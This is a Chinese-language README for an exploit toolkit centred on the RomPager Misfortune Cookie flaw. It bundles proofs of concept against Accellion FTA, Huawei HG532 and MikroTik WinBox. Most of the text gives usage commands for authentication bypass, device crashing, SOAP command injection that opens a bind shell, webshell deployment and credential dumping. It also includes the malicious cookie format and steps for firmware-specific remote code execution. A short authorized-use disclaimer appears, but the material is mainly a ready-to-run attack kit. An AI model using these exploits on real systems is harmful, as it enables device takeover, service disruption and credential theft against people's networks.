AllegroSoft RomPager 的 HTTP cookie 处理中存在栈溢出(所有版本 < 4.34)。单个未认证请求携带精心构造的 Cookie: 头即可破坏内存。影响:管理员认证绕过、DoS/重启,以及(配合固件特定偏移量)远程代码执行。
仅可对您拥有或明确获授权测试的硬件使用。
python3 main.py # 然后使用 [1] 设置目标
python3 main.py http://192.168.1.1
[1] 设置 / 切换目标
[2] 指纹识别目标
[3] 检测漏洞(安全,非破坏性)
[4] 认证绕过(魔法 cookie)
[5] DoS / 使设备崩溃(破坏性)
[6] RCE 辅助 - 从固件地址推导 cookie
[7] 型号 / cookie 表查询
[8] 扫描所有漏洞(探测)
[A] Accellion FTA 链(CVE-2021-27101 / 27102)
[B] Huawei HG532(CVE-2017-17215)
[C] MikroTik WinBox(CVE-2018-14847)
每个操作都会先打印其将要执行的内容;DoS 需要输入 YES。各型号的指纹(realm)会从 WWW-Authenticate 头自动检测,并与 cookie 表进行匹配。
[8] 使用非破坏性检查对主机探测全部四类漏洞家族,并打印哪些可达/可能易受攻击:
python3 scan.py http://192.168.1.1
python3 scan.py http://192.168.1.1 --winbox-port 8291 --hg532-port 37215
然后运行对应的菜单项([3]/[4]/[A]/[B]/[C])以利用已确认的漏洞。
除 Misfortune Cookie 外,控制台还捆绑了另外三种常见嵌入式/设备漏洞的 PoC:
[A] Accellion FTA(accellion_fta.py)- 复现 Mandiant 描述的 UNC2546 链:通过精心构造的 Host 头(/courier/oauth.api)利用 SQL 注入恢复 w1 密钥,然后触发 admin.pl 写入 eval webshell 并验证。27103(SSRF)/ 27104(认证后命令执行)已注明但默认不执行。[B] Huawei HG532(huawei_hg532.py)- 向 /ctrlt/DeviceUpgrade_1 发送 SOAP POST,在 NewStatusURL 中携带 $(<cmd>),HTTP Digest 认证 dslf-config:admin;默认命令在 9999 端口开启 telnet 绑定 shell。[C] MikroTik WinBox(mikrotik_winbox.py)- 通过 WinBox 协议进行目录遍历文件读取;默认读取 并解密存储的凭据( XOR)。所有附加 PoC 均需在控制台中明确确认。
python3 detect.py http://192.168.1.1 # 安全检测
python3 auth_bypass.py http://192.168.1.1 # 型号自动检测
python3 auth_bypass.py http://192.168.1.1 --restore # 重新启用认证
python3 auth_bypass.py http://192.168.1.1 --all # 尝试所有已知 cookie
python3 auth_bypass.py http://192.168.1.1 --brute # 穷举(非常慢,会导致崩溃)
python3 dos.py http://192.168.1.1 # 崩溃 / 重启(破坏性)
python3 rce/derive_cookie.py 0x803E9A40 0x803AB30D # 地址 -> (num, pad)
Cookie: C<evilnum>=<pad "B" 字节><payload>;
evilnum 和 pad 是固件特定的。evilnum 索引 RomPager 的 0x28 字节 cookie 数组(C_Array + evilnum*0x28 + pad = 被覆盖的地址)。从 exploitdb 39739 和 Metasploit allegro_rompager_auth_bypass 模块合并的各型号表位于 common.py 中。
需要一份精确的固件镜像。步骤(参见 rce/README.md):使用 binwalk 提取 rootfs,在 Ghidra 中逆向 cookie 解析器以找到缓冲区 -> 保存的 $ra 偏移量,使用 derive_cookie.py 推导 (num, pad),在接触实时目标前先针对 QEMU 模拟镜像验证 MIPS shellcode。
auxiliary/scanner/http/allegro_rompager_misfortune_cookie
和 auxiliary/admin/http/allegro_rompager_auth_bypass| 漏洞 | CVE | 探测内容 |
|---|
| RomPager | CVE-2014-9222 | HTTP 横幅 + 版本与 4.34 对比 |
| Huawei HG532 | CVE-2017-17215 | SOAP 端点存活 + Digest realm |
| MikroTik WinBox | CVE-2018-14847 | 实时 WinBox 文件读取(转储凭据) |
| Accellion FTA | CVE-2021-27101/104 | Accellion/oauth.api 指纹 |
| 菜单 | CVE | 目标 | 端口 |
|---|
[A] | CVE-2021-27101/27102 | Accellion FTA | 80 |
[B] | CVE-2017-17215 | Huawei HG532 | 37215 |
[C] | CVE-2018-14847 | MikroTik WinBox | 8291 |
flash/rw/store/user.datmd5(user + "283i4jfkai3389")| 文件 | 用途 |
|---|
main.py | 交互式控制台 |
ui.py | 横幅 + UI 辅助函数(header/info/warn/err/success/prompt/confirm) |
common.py | 指纹识别、魔法 cookie 构造器、各型号 (num, pad) 表 |
detect.py | 非破坏性漏洞检测(版本 + canary cookie) |
scan.py | 对目标探测全部四类漏洞家族(选项 8) |
auth_bypass.py | 魔法 cookie 认证绕过,带 realm 自动检测 |
dos.py | 超大 cookie 栈破坏 -> 看门狗重启 |
accellion_fta.py | CVE-2021-27101/27102 SQLi -> webshell 链 |
huawei_hg532.py | CVE-2017-17215 SOAP 命令注入 |
mikrotik_winbox.py | CVE-2018-14847 WinBox 文件读取 / 凭据转储 |
rce/derive_cookie.py | 将 C_Array + 目标地址转换为 (num, pad) |
rce/README.md | 完整 RCE 方法论 + 利用数学 |
rce/references/ | 31C3 幻灯片、NCC 白皮书、深入解析文章、布局表 |